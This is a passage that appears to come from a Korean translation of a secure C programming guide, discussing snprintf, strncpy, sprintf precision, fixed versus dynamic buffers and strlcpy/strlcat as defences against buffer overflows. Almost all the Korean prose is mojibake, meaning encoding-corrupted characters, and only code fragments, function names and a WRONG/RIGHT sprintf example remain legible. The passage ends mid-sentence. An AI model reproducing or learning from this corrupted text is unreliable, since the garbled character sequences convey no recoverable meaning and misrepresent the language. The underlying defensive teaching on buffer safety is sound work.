ÀÇÁ¸ÇßÀ¸¸ç ÀúÀÚ´Â ¿¹ÀüÀÇ ¾î¶² HP ½Ã½ºÅ۵鵵 µ¿ÀÏÇÑ ¹®Á¦°¡ ÀÖÀ½À» µé¾ú´Ù. snprintf ÀÇ ¸®´ª½º ÇöÀç ¹öÀüÀº ÀûÀýÈ÷ ÀÛµ¿ÇÑ´Ù°í ¾Ë·ÁÁ® ÀÖ´Ù. Áï, ÀÌ´Â ½ÇÁ¦ÀûÀ¸·Î ¿äûµÈ °æ°è¸¦ Ä§ÇØÇÏÁö ¾Ê´Â´Ù. snprintf() ÀÇ ¹Ýȯ°ªµµ ¸¶Âù°¡Áö·Î °®°¡ÁöÀÌ´Ù; Single Unix Specification (SUS) ¹öÀü 2 ¿Í C99 Ç¥ÁØÀº snprintf() °¡ ¹ÝȯÇÏ´Â °ª¿¡ Â÷À̰¡ ÀÖ´Ù. ¸¶Áö¸·À¸·Î Àû¾îµµ snprintf ÀÇ ¾î¶² ¹öÀüÀº ¹®ÀÚ¿­ÀÌ NIL ·Î ³¡³¯ °ÍÀÓÀ» º¸ÀåÇÏÁö ¾Ê´Â °Íó·³ º¸ÀδÙ; ¹®ÀÚ¿­ÀÌ ³Ê¹« ±æ¸é NIL À» ÀüÇô Æ÷ÇÔÇÏÁö ¾Ê´Â´Ù. GTK ÀÇ ±âº»À¸·Î GNU C ¶óÀ̺귯¸®ÀÎ glibc ¿Í´Â ´Ù¸¥ glib ¶óÀ̺귯¸®´Â g_snprintf() ¸¦ °®°í ÀÖÀ½À» ÁÖ¸ñÇØ¶ó. ÀÌ´Â Àϰü¼ºÀÖ´Â ¹Ýȯ ÀÇ¹Ì Ã¼°è¸¦ °®À¸¸ç ´Ã NIL ·Î ³¡³ª°í °¡Àå Áß¿äÇÑ °ÍÀº ´Ã ¹öÆÛ ±æÀ̸¦ ħ¹üÇÏÁö ¾Ê´Â´Ù´Â °ÍÀÌ´Ù.


5.2. C/C++ ¿¡¼­ÀÇ ¶óÀ̺귯¸® ¼Ö·ç¼Ç

C/C++ ¿¡¼­ ÇѰ¡Áö ÇØ°á¹æ¹ýÀº ¹öÆÛ ¿À¹öÇÃ·Î¿ì ¹®Á¦¸¦ °®Áö ¾Ê´Â ¶óÀ̺귯¸® ÇÔ¼ö¸¦ »ç¿ëÇÏ´Â °ÍÀÌ´Ù. ù ÇϺΠÀýÀº ÀÛµ¿µÉ ¼ö ÀÖÁö¸¸ ´ÜÁ¡À» °®´Â Ç¥ÁØ C ¶óÀ̺귯¸® ¼Ö·ç¼ÇÀ» ±â¼úÇÏ¸ç ´ÙÀ½ ÀýÀº ¹öÆÛ¿¡ ´ëÇÑ °íÁ¤µÈ ±æÀÌ ¹× µ¿ÀûÀ¸·Î ÀçÇÒ´çµÈ Á¢±Ù ¹æ¹ý¿¡ ´ëÇÑ ÀϹÝÀûÀÎ º¸¾È ÀïÁ¡À» ±â¼úÇÑ´Ù. ´ÙÀ½ ÇϺΠÀýÀº strlcpy ¿Í libmib ¿Í °°Àº ´Ù¾çÇÑ ´ëü ¶óÀ̺귯¸®¸¦ ±â¼úÇÑ´Ù.


5.2.1. Ç¥ÁØ C ¶óÀ̺귯¸® ¼Ö·ç¼Ç

C ¿¡¼­ ¹öÆÛ ¿À¹öÇ÷ο츦 ¿¹¹æÇϴ ǥÁØÀûÀÎ ÇØ°á¹æ¹ý (¸î¸î C++ ÇÁ·Î±×·¥¿¡¼­µµ »ç¿ëµÈ´Ù) Àº ÀÌ·¯ÇÑ ¹®Á¦¿¡ ´ëÇØ º¸È£Çϴ ǥÁØ C ¶óÀ̺귯¸® È£ÃâÀ» »ç¿ëÇÏ´Â °ÍÀÌ´Ù. ÀÌ·¯ÇÑ Á¢±Ù ¹æ¹ýÀº Ç¥ÁØ ¶óÀ̺귯¸® ÇÔ¼öÀÎ strncpy(3) °ú strncat(3) ¿¡ ¸Å¿ì ÀÇÁ¸ÇÑ´Ù. ÀÌ Á¢±Ù ¹æ¹ýÀ» ¼±ÅÃÇÑ´Ù¸é ´ÙÀ½¿¡ ÁÖÀÇÇØ¶ó: ÀÌ È£ÃâÀº ¾à°£Àº ³î¶ö¸¸ÇÑ Àǹ̸¦ °®À¸¸ç ÀûÀýÈ÷ »ç¿ëÇϱⰡ ¾î·Æ´Ù. strncpy(3) ÇÔ¼ö´Â ¼Ò½º ¹®ÀÚ¿­ ±æÀ̰¡ Àû¾îµµ ¼ö½ÅÁö ¹®ÀÚ¿­ ±æÀÌ¿Í °°´Ù¸é ¼ö½ÅÁö ¹®ÀÚ¿­À» NIL ·Î ³¡³»Áö ¾Ê´Âµ¥ µû¶ó¼­ strncpy(3) À» È£ÃâÇÑ ÈÄ ¼ö½ÅÁö ¹®ÀÚ¿­ÀÇ ¸¶Áö¸· ¹®ÀÚ¸¦ È®½ÇÈ÷ NIL ·Î ¼³Á¤Çضó. µ¿ÀÏÇÑ ¹öÆÛ¸¦ ¿©·¯¹ø Àç»ç¿ëÇÏ·Á°í ÇÏ´Ù¸é È¿°úÀûÀÎ Á¢±Ù ¹æ¹ýÀº ¹öÆÛ°¡ ½ÇÁ¦º¸´Ù ÇÑ ¹®ÀÚ ÂªÀ¸¸ç »ç¿ëÇϱâ Àü¿¡ ¸¶Áö¸· ¹®ÀÚ¸¦ NIL ·Î ¼³Á¤ÇÑ´Ù°í strncpy() ¿¡ ¾Ë·ÁÁÖ´Â °ÍÀÌ´Ù. strncpy(3) °ú strncat(3) µÑ ¸ðµÎ´Â »ç¿ëÇÒ ¼ö ÀÖ°Ô ³²¾ÆÀÖ´Â °ø¹éÀ» °Ç³×ÁÙ °ÍÀ» ¿ä±¸Çϴµ¥ À̴ Ʋ¸®±â ½¬¿î °è»êÀ¸·Î À̸¦ Ʋ¸°´Ù¸é ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°ÝÀ» Çã¿ëÇÒ °ÍÀÌ´Ù. ¿À¹öÇ÷ο찡 ÀϾ´Â Áö¸¦ °áÁ¤Çϱâ À§ÇÑ ´Ü¼øÇÑ ¸ÞÄ«´ÏÁòÀ» Àý´ë·Î Á¦°øÇÏÁö ¸¶¶ó. ¸¶Áö¸·À¸·Î strncpy(3) Àº strncpy(3) ÀÌ ¼ö½ÅÁöÀÇ ³ª¸ÓÁö¸¦ NIL ·Î ä¿ì±â¶§¹®¿¡ ¾Æ¸¶ ´ëüµÇ´Â strcpy(3) ¿¡ ºñÇØ ¼º´É¸é¿¡¼­ »ó´çÇÑ ºÒÀÌÀÍÀ» °®°í ÀÖ´Ù. ÀúÀÚ´Â ÀÌ·¯ÇÑ ¸¶Áö¸· »çÇ׿¡ ´ëÇØ ³î¶ó¿òÀ» Ç¥ÇöÇÑ À̸ÞÀÏÀ» ¹Þ¾Ò´Âµ¥ ÀÌ´Â Kernighan °ú Ritchie µÎ¹øÂ°ÆÇ [Kernighan 1988, page 249] ¿¡ ¸íÈ®È÷ ¼³¸íµÇ¾î ÀÖÀ¸¸ç ÀÌ µ¿ÀÛÀº ¸®´ª½º, FreeBSD ¹× ¼Ö¶ó¸®½º ¸ÇÆäÀÌÁö¿¡ ¸í¹éÈ÷ ¹®¼­È­µÇ¾î ÀÖ´Ù. ÀÌ´Â ´ÜÁö strcpy ´ë½Å strncpy ¸¦ ¾²´Â °ÍÀº ´ëºÎºÐÀÇ °æ¿ì¿¡ ÀÖ¾î ¾î¶°ÇÑ Àû´çÇÑ ÀÌÀ¯¾øÀÌ ¼º´É¸é¿¡¼­ °¡Â÷¾ø´Â ÀúÇϸ¦ ¾ß±âÇÒ ¼ö ÀÖÀ½À» ÀǹÌÇÑ´Ù.

¹öÆÛ ¿À¹öÇ÷ο츦 ¿¹¹æÇÏ´Â µ¿½Ã¿¡ sprintf() ¸¦ »ç¿ëÇÒ ¼ö ÀÖÁö¸¸ À̶§ ÁÖÀǸ¦ ±â¿ïÀÏ Çʿ䰡 ÀÖ´Ù; ÃßõÇϱ⠾î·Á¿ï¸¸Å­ À̸¦ À߸ø Àû¿ëÇÏ´Â °ÍÀÌ ½±´Ù. sprintf Á¦¾î ¹®ÀÚ¿­Àº ´Ù¾çÇÑ º¯È¯ ÁöÁ¤ÀÚ (¿¹, "%s") ¸¦ Æ÷ÇÔÇÒ ¼ö ÀÖÀ¸¸ç Á¦¾î ÁöÁ¤ÀÚ´Â ¼±ÅÃÀûÀÎ ÇÊµå ³Êºñ (¿¹, "%10s") ¿Í Á¤È®µµ ("%.10s") ÁöÁ¤À» °¡Áú ¼ö ÀÖ´Ù. ÀÌ´Â ²Ï À¯»çÇÏ°Ô º¸ÀÌÁö¸¸ (´ÜÁö Â÷ÀÌ´Â ¸¶Ä§Ç¥ÀÌ´Ù) À̵éÀº ¸Å¿ì ´Ù¸£´Ù. ÇÊµå ³Êºñ´Â ´ÜÁö ÃÖ¼Ò ±æÀ̸¦ ÁöÁ¤ÇÏ¸ç ¹öÆÛ ¿À¹öÇ÷ο츦 ¿¹¹æÇϴµ¥ ÀÖ¾î ¿ÏÀüÈ÷ ¾µ¸ð¾ø´Ù. ¹Ý´ë·Î Á¤È®µµ ÁöÁ¤Àº ±× ƯÁ¤ ¹®ÀÚ¿­ÀÌ ¹®ÀÚ¿­ º¯È¯ ÁöÁ¤ÀÚ·Î »ç¿ëµÉ ¶§ Ãâ·Â¿¡¼­ °¡Áú ¼ö ÀÖ´Â ÃÖ´ë ±æÀ̸¦ ÁöÁ¤ÇÑ´Ù - µû¶ó¼­ ¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇØ º¸È£Çϱâ À§ÇØ »ç¿ëµÉ ¼ö ÀÖ´Ù. Á¤È®µµ ÁöÁ¤Àº ¹®ÀÚ¿­À» ´Ù·ê ¶§ ´ÜÁö ÃÑ ÃÖ´ë ±æÀ̸¦ ÁöÁ¤ÇÔÀ» ÁÖ¸ñÇØ¶ó; ´Ù¸¥ º¯È¯ ¿¬»ê°ú´Â ´Ù¸¥ Àǹ̸¦ °®´Â´Ù. Å©±â°¡ "*" ·Î ÁÖ¾îÁö¸é ÃÖ´ë Å©±â¸¦ º¯¼ö·Î¼­ ³Ñ°ÜÁÙ ¼ö ÀÖ´Ù (¿¹, sizeof() ¿¬»êÀÇ °á°ú). ÀÌ´Â ¿¹·Î¼­ °¡Àå ½±°Ô º¸¿©Áø´Ù - ´ÙÀ½ ¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇØ º¸È£Çϴ Ʋ¸° ±×¸®°í ¿ÇÀº ¹æ½ÄÀÌ´Ù:

 char buf[BUFFER_SIZE];
 sprintf(buf, "%*s",  sizeof(buf)-1, "long-string");  /* WRONG */
 sprintf(buf, "%.*s", sizeof(buf)-1, "long-string");  /* RIGHT */

À̷лó sprintf() ´Â º¹ÀâÇÑ Æ÷¸ËÀ» ÁöÁ¤Çϴµ¥ »ç¿ëÇÒ ¼ö Àֱ⠶§¹®¿¡ ¸Å¿ì µµ¿òÀÌ µÇ´Â ¹Ý¸é ½½ÇÁ°Ôµµ sprintf() ¸¦ Ʋ¸®°Ô »ç¿ëÇÏ´Â °ÍÀº ½±´Ù. Æ÷¸ËÀÌ º¹ÀâÇÏ´Ù¸é ¼ö½ÅÁö°¡ Àüü Æ÷¸ËÀÇ °¡´ÉÇÑ ÃÖ´ë Å©±â¿¡ ´ëÇØ ÃæºÐÈ÷ Å©¸ç Á¤È®µµ Çʵå´Â ´ÜÁö ÇÑ º¯¼öÀÇÅ©±â¸¸ Á¦¾îÇÏ´ÂÁö¸¦ È®ÀÎÇÒ Çʿ䰡 ÀÖ´Ù. "°¡´ÉÇÑ °¡Àå Å« (largest possible)" °ªÀº º¹ÀâÇÑ Ãâ·ÂÀÌ »ý¼ºµÇ°í ÀÖÀ» ¶§ °áÁ¤ÇÏ±â ¾î·Æ´Ù. ÇÁ·Î±×·¥ÀÌ °¡´ÉÇÑ °¡Àå ±ä Á¶ÇÕ¿¡ ´ëÇØ ÃæºÐÇÑ °ø°£À» ÇÒ´çÇÏÁö ¾Ê´Â´Ù¸é ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°ÝÀ» ¹Þ±â ½¬¿ï °ÍÀÌ´Ù. ¶ÇÇÑ sprintf() ´Â Àüü ¿¬»êÀÌ ³¡³­ ÈÄ ¼ö½ÅÁö¿¡ NUL À» Ãß°¡ÇÑ´Ù - ÀÌ ¿©ºÐÀÇ ¹®ÀÚ´Â Àر⠽¬¿ì¸ç ÀÌ ¹®ÀÚ Çϳª°¡ ¾øÀ½À¸·Î½á ¿¡·¯°¡ »ý±æ ¼ö ÀÖ´Â ±âȸ¸¦ »ý¼ºÇÑ´Ù. ±×·¡¼­ À̰ÍÀÌ ÀÛµ¿ÇÏ´õ¶óµµ ¾î¶² »óȲ¿¡¼­ »ç¿ëÇÏ´Â °ÍÀº ¹«Ã´ °ï¶õÇÒ ¼ö ÀÖ´Ù.

¶ÇÇÑ À§ Äڵ忡 ´ëÇÑ ¾ð±Þ - sizeof() ¿¬»êÀÌ ¹è¿­ÀÇ Å©±â¸¦ »ç¿ëÇßÀ½À» ÁÖ¸ñÇØ¶ó. Äڵ尡 º¯°æµÇ¾î "buf" °¡ ¾î¶² ÇÒ´ç ¸Þ¸ð¸®¿¡ ´ëÇÑ Æ÷ÀÎÅͶó¸é ¸ðµç "sizeof()" ¿¬»êÀº º¯°æµÇ¾î¾ß ÇÒ °ÍÀÌ´Ù (¶Ç´Â sizeof ´Â ´ÜÁö Æ÷ÀÎÅÍÀÇ Å©±â¸¦ ÃøÁ¤ÇÒ °ÍÀ̸ç ÀÌ´Â ´ëºÎºÐÀÇ °ª¿¡ ´ëÇØ ÃæºÐÇÑ °ø°£ÀÌ ¾Æ´Ï´Ù).


5.2.2. Á¤Àû ¹× µ¿Àû ÇÒ´ç ¹öÆÛ

strncpy ¿Í °°Àº ÇÔ¼öµéÀº Á¤ÀûÀ¸·Î ÇÒ´çµÈ ¹öÆÛ¸¦ ´ÙµÑ ¶§ À¯¿ëÇѵ¥ ÀÌ´Â ¹öÆÛ°¡ "°¡Àå ±ä À¯¿ëÇÑ Å©±â (longest useful size)" ¿¡ ´ëÇØ ÇÒ´çµÇ¾î ±×¶§ºÎÅÍ °íÁ¤µÈ Å©±â·Î ¸Ó¹°·¯ ÀÖ´Â ÇÁ·Î±×·¡¹Ö Á¢±Ù ¹æ¹ýÀÌ´Ù. ´ë¾ÈÀº ¹öÆÛ¸¦ ÇÊ¿ä·Î ÇÒ¶§¸¶´Ù ±× Å©±â¸¦ µ¿ÀûÀ¸·Î ÀçÇÒ´çÇÏ´Â °ÍÀÌ´Ù. µÎ Á¢±Ù ¹æ¹ý ¸ðµÎ º¸¾È¿¡ ¹ÐÁ¢ÇÏ°Ô °ü·ÃµÇ¾î ÀÖ´Ù.

°íÁ¤µÈ ±æÀÌÀÇ ¹öÆÛ¸¦ »ç¿ëÇÒ ¶§ ÀϹÝÀûÀÎ º¸¾È ¹®Á¦°¡ Àִµ¥ ¹öÆÛ°¡ °íÁ¤µÈ ±æÀ̸¦ °®´Â ´Ù´Â »ç½ÇÀÌ ¾Ç¿ëµÉ ¼ö ÀÖ´Ù. ÀÌ´Â strncpy(3) ¹× strncat(3), snprintf(3), strlcpy(3), strlcat(3) °ú ´Ù¸¥ ±×·¯ÇÑ ÇÔ¼öµé°ú °ü·ÃµÈ ¹®Á¦ÀÌ´Ù. ±âº» °³³äÀº °ø°ÝÀÚ°¡ ½ÇÁ¦ ±ä ¹®ÀÚ¿­À» ¼³Á¤Çؼ­ ¹®ÀÚ¿­ÀÇ ³¡ÀÌ À߸± ¶§ ¸¶Áö¸· °á°ú°¡ °ø°ÝÀÚ°¡ ¿øÇß´ø °Í (°³¹ßÀÚ°¡ ÀǵµÇß´ø °Í ´ë½Å¿¡) ÀÏ °ÍÀÌ´Ù¶ó´Â °ÍÀÌ´Ù. ¾Æ¸¶µµ ¹®ÀÚ¿­Àº ¿©·¯ ÀÛÀº Á¶°¢À¸·ÎºÎÅÍ ¿¬°áµÈ´Ù; °ø°ÝÀÚ°¡ Àüü ¹öÆÛ¿Í ±æÀ̰¡ °°Àº ù Á¶°¢À» ¸¸µé ¼öµµ ÀÖÀ¸¸ç µû¶ó¼­ ÃßÈÄ ¸ðµç ¹®ÀÚ¿­À» ¿¬°áÇÏ·Á´Â ½Ãµµ´Â ¹«¿ëÁö¹°ÀÌ µÈ´Ù. ´ÙÀ½ ¾à°£ÀÇ Æ¯Á¤ ¿¹ÀÌ´Ù:

  • gethostbyname(3) À» È£ÃâÇÏ´Â Äڵ带 »ó»óÇ϶ó. ¸¸¾à ¼º°øÇÑ´Ù¸é strncpy ¶Ç´Â snprintf ¸¦ »ç¿ëÇÏ¿© Áï°¢ÀûÀ¸·Î hostent->h_name À» °íÁ¤µÈ ±æÀÌÀÇ ¹öÆÛ·Î º¹»çÇØ¶ó. strncpy ¶Ç´Â snprintf ¸¦ »ç¿ëÇÑ´Ù¸é ¸Å¿ì ±ä FQDN (fully qualified domain name) ÀÇ ¿À¹öÇ÷ο쿡 ´ëÇØ º¸È£¸¦ ÇÒ ¼ö ÀÖÀ¸¸ç µû¶ó¼­ ¸ðµç °ÍÀÌ ³¡³µ´Ù°í »ý°¢ÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª FQDN ÀÇ ¸¶Áö¸·Àº Àß·ÁÁú °ÍÀÌ´Ù. ÀÌ´Â ´ÙÀ½¿¡ ¹«¾ùÀÌ ¹ß»ýÇÒÁö¿¡ µû¶ó ¸Å¿ì ¹Ù¶÷Á÷ÇÏÁö ¾ÊÀ» ¼ö ÀÖ´Ù.

  • ÆÄÀϽýºÅÛ °´Ã¼ÀÇ Àý´ë °æ·Î¸¦ ¾î¶² ¹öÆÛ¿¡ º¹»çÇϱâ À§ÇØ strncpy, strncat, snprintf µîÀ» »ç¿ëÇÏ´Â Äڵ带 »ó»óÇØ¶ó. ´õ±¸³ª ¿ø·¡ °ªÀº ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚ¿¡ ÀÇÇØ Á¦°øµÇ¾úÀ¸¸ç º¹»ç °úÁ¤ÀÌ ±× ´ÙÀ½ °è»êÀ» ÇÔ¼ö¿¡ Àü´ÞÇÏ´Â ÇÁ·Î¼¼½ºÀÇ ÀϺκÐÀ̶ó°í »ó»óÇØº¸¶ó. ¾ÈÀüÇÏ°Ô º¸À̴°¡ ±×·±°¡? Áö±Ý °ø°ÝÀÚ°¡ óÀ½ °æ·Î¿¡ ¸¹Àº ¼öÀÇ "/" ¸¦ ä¿ö³Ö¾ú´Ù°í »ó»óÇØº¸¶ó. ÇÁ·Î±×·¥ÀÌ °á°ú°¡ ¾ÈÀüÇÑ °ÍÀ϶ó´Â ¹ÏÀ½À¸·Î °ªÀ» Ãß°¡ÇÑ´Ù¸é ÇÁ·Î±×·¥Àº ¾Ç¿ëµÉ ¼öµµ ÀÖ´Ù. ¶Ç´Â °ø°ÝÀÚ°¡ ¹öÆÛ ±æÀÌ¿¡ °¡±î¿î ±ä ÆÄÀÏ À̸§À» °í¾ÈÇÒ ¼ö ÀÖÀ¸¸ç µû¶ó¼­ ÆÄÀÏ À̸§¿¡ Ãß°¡ÇÏ·Á´Â ½Ãµµ´Â ¼Ò¸®¾øÀÌ ½ÇÆÐÇÒ °ÍÀÌ´Ù (¶Ç´Â ¾Ç¿ëµÉ ¼ö ÀÖ°Ô²û ´ÜÁö ºÎºÐÀûÀ¸·Î ÀϾ °ÍÀÌ´Ù).

Á¤ÀûÀ¸·Î ÇÒ´çµÈ ¹öÆÛ¸¦ »ç¿ëÇÒ ¶§ ¼Ò½º ¹× ¼ö½ÅÁö ÀμöÀÇ ±æÀ̸¦ ½ÇÁ¦·Î °í·ÁÇÒ Çʿ䰡 ÀÖ´Ù. ÀԷ°ú °á°úµÇ´Â Áß°£ °è»êÀÇ Á¤»ó¼º (sanity) À» °Ë»çÇÔÀ¸·Î½á ¶ÇÇÑ À̸¦ ´Ù·ê ¼ö ÀÖ´Ù.

´Ù¸¥ ´ë¾ÈÀº °íÁ¤µÈ Å©±âÀÇ ¹öÆÛ¸¦ »ç¿ëÇÏ´Â ´ë½Å ¸ðµç ¹®ÀÚ¿­À» µ¿ÀûÀ¸·Î ÀçÇÒ´çÇÏ´Â °ÍÀÌ´Ù. ÀÌ·¯ÇÑ ÀϹÝÀûÀÎ Á¢±Ù ¹æ¹ýÀº ÇÁ·Î±×·¥ÀÌ ÀÓÀÇ Å©±âÀÇ ÀÔ·ÂÀ» ´Ù·ê ¼ö Àֱ⠶§¹®¿¡ (¸Þ¸ð¸®¸¦ ´Ù ¼ÒºñÇÒ ¶§±îÁö) GNU ÇÁ·Î±×·¡¹Ö Áöħ¿¡ ÀÇÇØ ÃßõµÇ°í ÀÖ´Ù. ¹°·Ð µ¿ÀûÀ¸·Î ÇÒ´çµÈ ¹®ÀÚ¿­°ú °ü·ÃµÈ ÁÖ¿ä ¹®Á¦´Â ¸Þ¸ð¸®°¡ ºÎÁ·ÇÒ ¼öµµ ÀÖ´Ù´Â °ÍÀÌ´Ù. ¸Þ¸ð¸®´Â ¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇØ °ÆÁ¤Çß´ø ºÎºÐÀ̶ó±â º¸´Ù´Â ÇÁ·Î±×·¥³»ÀÇ ¾î¶² ´Ù¸¥ °÷¿¡¼­ ¼ÒºñµÉ ¼öµµ ÀÖ´Ù; ¸ðµç ¸Þ¹«¸® ÇÒ´çÀÌ ½ÇÆÐÇÒ °ÍÀÌ´Ù. ¶ÇÇÑ µ¿Àû ÀçÇÒ´çÀº ¸Þ¸ð¸®°¡ ºñÈ¿À²ÀûÀ¸·Î ÇÒ´çµÇ°Ô Çϱ⠶§¹®¿¡ ±â¼úÀûÀ¸·Î ÇÁ·Î±×·¥ÀÌ ¾µ ¼ö ÀÖ´Â ÃæºÐÇÑ °¡»ó ¸Þ¸ð¸®°¡ ÀÖ´Ù°í ÇÏ´õ¶óµµ ¸Þ¸ð¸®°¡ ºÎÁ·ÇÏ°Ô µÇ´Â °ÍÀº ÀüÀûÀ¸·Î °¡´ÉÇÏ´Ù. À̿ܿ¡µµ ¸Þ¸ð¸®°¡ ºÎÁ·Çϱâ Àü¿¡ ÇÁ·Î±×·¥ÀÌ ¾Æ¸¶µµ ¸¹Àº °¡»ó ¸Þ¸ð¸®¸¦ »ç¿ëÇÒ °ÍÀÌ´Ù; ÀÌ´Â "thrashing" Áï ÄÄÇ»ÅͰ¡ ¸ðµç ½Ã°£À» µð½ºÅ©¿Í ¸Þ¸ð¸®»çÀ̸¦ ¿Õº¹Çϴµ¥ (À¯¿ëÇÑ ÀÛ¾÷À» ÇÏ´Â ´ë½Å) ¼ÒºñÇÏ´Â »óȲÀ¸·Î ³¡³¯ °ÍÀÌ´Ù. ÀÌ´Â ¼­ºñ½º ºÎÀÎ °ø°Ý°ú °°Àº È¿°ú¸¦ °¡Áú °ÍÀÌ´Ù. ÀÔ·Â Å©±â¿¡ ´ëÇÑ ¾î¶² ÇÕ¸®ÀûÀÎ Á¦ÇÑÀÌ µµ¿òÀÌ µÉ °ÍÀÌ´Ù. ÀϹÝÀûÀ¸·Î ÇÁ·Î±×·¥Àº µ¿ÀûÀ¸·Î ÇÒ´çµÈ ¹®ÀÚ¿­À» »ç¿ëÇÏ´Â °æ¿ì ¸Þ¹«¸®°¡ °í°¥µÉ ¶§ ¾ÈÀüÇÏ°Ô ½ÇÆÐÇϵµ·Ï ¼³°èµÇ¾î¾ß ÇÑ´Ù.


5.2.3. strlcpy and strlcat

OpenBSD ¿¡ ÀÇÇØ »ç¿ëµÈ ´ë¾ÈÀº Miller ¿Í de Raadt [Miller 1999] ¿¡ ÀÇÇÑ strlcpy(3) °ú strlcat(3) ÀÌ´Ù. ÀÌ´Â C ¹®ÀÚ¿­ º¹»ç ¹× ¿¬°á¿¡ ´Ù¸¥ (¿¡·¯°¡ ´ú »ý±â´Â) ÀÎÅÍÆäÀ̽º¸¦ Á¦°øÇÏ´Â ÃÖ¼ÒÇÑÀÇ Á¤Àû Å©±â¸¦ °®´Â ¹öÆÛ Á¢±Ù ¹æ¹ýÀÌ´Ù. ÀÌ ÇÔ¼öÀÇ ¼Ò½º¿Í ¹®¼­´Â ftp://ftp.openbsd.org/pub/OpenBSD/src/lib/libc/string/strlcpy.3 ¿¡¼­ »õ·Î¿î BSD ½ºÅ¸ÀÏ ¿ÀÇ ¼Ò½º ¶óÀ̼¾½ºÇÏ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.

¿ì¼± ´ÙÀ½Àº ¿øÇü (prototype) ÀÌ´Ù:

size_t strlcpy (char *dst, const char *src, size_t size);
size_t strlcat (char *dst, const char *src, size_t size);

µÎ ÇÔ¼ö ¸ðµÎ Àμö·Î¼­ (º¹»çµÇ´Â ¹®ÀÚÀÇ ÃÖ´ë ¼ö°¡ ¾Æ´Ñ) ¼ö½ÅÁö ¹öÆÛÀÇ Àý´ë ũ۸¦ ÃëÇÏ¸ç ¸¶Áö¸·À» Á¾°á ¹®ÀÚ NIL ·Î ä¿ì´Â °ÍÀ» º¸ÀåÇÑ´Ù (Å©±â°¡ 0º¸´Ù Å©´Ù¸é). size ¿¡ NIL À» À§ÇÑ ¹ÙÀÌÆ®¸¦ Æ÷ÇÔÇØ¾ß ÇÔÀ» ±â¾ïÇØ¶ó.

strlcpy ÇÔ¼ö´Â NUL ·Î ³¡³ª´Â ¹®ÀÚ¿­ ¼Ò½º¸¦ NIL ·Î ³¡³ª´Â °á°úÀÎ dst (destination) ·Î size-1 ¹®ÀÚ±îÁö º¹»çÇÑ´Ù. strlcat ÇÔ¼ö´Â dst ³¡¿¡ NIL ·Î ³¡³ª´Â ¹®ÀÚ¿­ ¼Ò½º¸¦ Ãß°¡ÇÑ´Ù. ÀÌ´Â ±â²¯ÇØ¾ß size-strlen(dst)-1 ¹ÙÀÌÆ®¸¦ NIL ·Î ³¡³ª´Â °á°ú¿¡ Ãß°¡ÇÒ °ÍÀÌ´Ù.

strlcpy(3) °ú strlcat(3) ÀÇ ÇѰ¡Áö Áß¿äÇÏÁö ¾ÊÀº ´ÜÁ¡Àº ´ëºÎºÐÀÇ À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡ µðÆúÆ®·Î ¼³Ä¡µÇ¾î ÀÖÁö ¾Ê´Ù´Â °ÍÀÌ´Ù. OpenBSD ¿¡´Â <string.h> ³»¿¡ Á¸ÀçÇÑ´Ù. ÀÌ´Â ±×·¸°Ô ¾î·Á¿î ¹®Á¦´Â ¾Æ´Ï¸ç À̵éÀº ÀÛÀº ÇÔ¼öÀ̱⠶§¹®¿¡ °¢ÀÚ ÇÁ·Î±×·¥ ¼Ò½º¿¡ À̵éÀ» Æ÷ÇÔÇÒ ¼ö ÀÖÀ¸¸ç À̵éÀ» ÀûÀçÇÒ ¼ö ÀÖ´Â º°µµÀÇ ÀÛÀº ÆÐŰÁö¸¦ ¸¸µé ¼öµµ ÀÖ´Ù. À̸¦ ÀÚµ¿ÀûÀ¸·Î ´Ù·ç±â À§ÇØ autoconf ¸¦ »ç¿ëÇÒ ¼öµµ ÀÖ´Ù. ´õ¿í ¸¹Àº ÇÁ·Î±×·¥ÀÌ À̵é ÇÔ¼ö¸¦ »ç¿ëÇÑ´Ù¸é ¿À·¡Áö ¾Ê¾Æ À̵éÀº ¸®´ª½º ¹èÆ÷ÆÇ ¹× ´Ù¸¥ À¯´Ð½º ½Ã½ºÅÛ °è¿­ÀÇ Ç¥ÁØ ºÎºÐÀÌ µÉ °ÍÀÌ´Ù. ¶ÇÇÑ ÀÌ ÇÔ¼öµéÀº glib ¶óÀ̺귯¸®¿¡ ÃÖ±Ù¿¡ Ãß°¡µÇ¾úÀ¸¸ç (ÇÊÀÚ´Â À̸¦ À§ÇØ ÆÐÄ¡¸¦ Á¦ÃâÇÏ¿´´Ù) µû¶ó¼­ glib ¸¦ »ç¿ëÇÔÀ¸·Î½á À̵éÀ» ÀÌ¿ëÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù (¹Ì·¡¿¡). glib ¿¡¼­´Â glib ¶óÀ̺귯¸® ³×ÀÌ¹Ö °ü·Ê¿¡ ÀÏÄ¡ÇÏ´Â g_strlcpy ¿Í g_strlcat ·Î À̸§Áö¾îÁ³´Ù.

¶ÇÇÑ strlcat(3) Àº Á¦°øµÈ Å©±â°¡ 0 À̰ųª ¶Ç´Â ¼ö½ÅÁö ¹®ÀÚ¿­ dst (ÁÖ¾îÁø ¹®ÀÚ³»¿¡¼­) ³»¿¡ NIL ¹®ÀÚ°¡ ¾ø´Ù¸é ¾à°£ ´Ù¸¥ Àǹ̸¦ °®´Â´Ù. OpenBSD ¿¡¼­´Â Å©±â°¡ 0 ÀÌ¸é ¼ö½ÅÁö ¹®ÀÚ¿­ÀÇ ±æÀÌ´Â 0 À¸·Î °£ÁֵȴÙ. Å©±â°¡ 0 ÀÌ ¾Æ´ÏÁö¸¸ ¼ö½ÅÁö ¹®ÀÚ¿­ (¹®ÀÚÀÇ Å©±â ¼ö³»¿¡¼­) ³»¿¡ NIL ¹®ÀÚ°¡ ¾ø´Ù¸é ¼ö½ÅÁöÀÇ ±æÀ̰¡ Å©±â¿Í °°´Ù°í °£ÁÖÇÑ´Ù. ÀÌ·¯ÇÑ ±ÔÄ¢µéÀº ³»Àå NIL ¹®ÀÚ°¡ ¾ø´Â ¹®ÀÚ¿­À» Àϰü¼ºÀÖ°Ô ´Ù·é´Ù. ºÒÇàÈ÷ Àû¾îµµ ¼Ö¶ó¸®½º´Â ¿ø·¡ ¹®¼­¿¡ ÀÌ·¯ÇÑ 